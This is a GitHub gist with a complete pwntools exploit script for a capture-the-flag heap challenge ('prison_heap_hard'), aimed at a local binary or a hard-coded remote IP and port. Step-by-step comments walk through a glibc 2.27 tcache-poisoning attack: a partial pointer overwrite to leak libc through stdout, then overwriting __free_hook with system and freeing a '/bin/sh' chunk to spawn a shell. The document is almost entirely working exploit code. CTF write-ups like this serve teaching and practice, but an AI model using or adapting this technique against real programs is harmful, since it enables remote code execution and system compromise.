Last active
June 29, 2021 03:56
-
-
Save klecko/f974567facc5c160f3afa58c193acef5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
PATH = "./prison_heap_hard" | |
ENV = {"LD_PRELOAD":"./libc-2.27.so"} | |
REMOTE = False | |
OFFSET_LEAK = 0x3ED8C0 | |
OFFSET_SYSTEM = 0x000000000004f440 | |
OFFSET_FREEHOOK = 0x00000000003ed8e8 | |
def write(what, size=None): | |
if size is None: | |
size = len(what) | |
p.sendlineafter("3. Exit\n", "1") | |
p.sendlineafter("Choose the size of prison heap", str(size)) | |
p.sendlineafter("to enter the prison", what) | |
def free(index): | |
p.sendlineafter("3. Exit\n", "2") | |
p.sendlineafter("for free", str(index)) | |
context.binary = PATH | |
if REMOTE: | |
p = remote("134.122.72.224", 13337) | |
else: | |
p = process(PATH, env=ENV) | |
write("0", 0x20) #0, for fake linked list | |
write("1", 0x1000) #1, will be large chunk | |
write("2", 0x60) #2 | |
# The chunk 2 will avoid consolidation when we free the large chunk, | |
# and will used later for writing system into free_hook. | |
# 1. Free large chunk (it is inserted in unsorted bin) | |
free(1) | |
# 2. Allocate smaller chunk and overwrite libc pointer | |
# so it points to stdout->_IO_write_ptr. 4 BITS BRUTEFORCE | |
write("\x88\x07", 0x20) | |
# this chunk is at 0x290 | |
# unsortbin: 0x5555557602b0 (size : 0xfe0) | |
# 3. Tcache poisoning to add the pointer to the tcache linked list. | |
# We have the pointer to stdout. We'll add it to tcache linked | |
# so we can get it when we malloc later | |
free(0) | |
free(0) | |
# tcache_entry[1]: 0x5555557612a0 --> 0x5555557612a0 --> 0x5555557612a0 --> ... | |
write(b"\x90", 0x20) | |
# tcache_entry[1]: 0x5555557612a0 --> 0x555555761290 --> 0x7ffff7dd0788 (stdout->_IO_write_ptr) | |
# now stdout->_IO_write_ptr is in the tcache bin | |
# 4. Allocate a chunk in stdout->_IO_write_ptr and increment its value. | |
write("", 0x20) | |
write("", 0x20) | |
# tcache_entry[1](255): 0x7ffff7dd0788 (stdout->_IO_write_ptr) | |
write(b"\xff", 0x20) # overwriting stdout->_IO_write_ptr | |
# Next puts will print a leak. | |
leak = p.recvuntil("Prison heap created", drop=True) | |
leak = u64(leak[6:6+8]) | |
LIBC = leak - OFFSET_LEAK | |
FREE_HOOK = LIBC + OFFSET_FREEHOOK | |
SYSTEM = LIBC + OFFSET_SYSTEM | |
log.info("LEAK: %s", hex(leak)) | |
log.info("LIBC: %s", hex(LIBC)) | |
write("/bin/sh\x00") # 8 | |
# 5. Tcache poisoning to write system address into __free_hook | |
free(2) | |
free(2) | |
# tcache_entry[5](2): 0x5555557612a0 --> 0x5555557612a0 | |
write(pack(FREE_HOOK), 0x60) | |
#tcache_entry[5](1): 0x5555557612a0 --> 0x7ffff7dd18e8 (FREE_HOOK) | |
write("", 0x60) | |
write(pack(SYSTEM), 0x60) # write system into free_hook | |
# 6. Call free("/bin/sh") | |
free(8) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment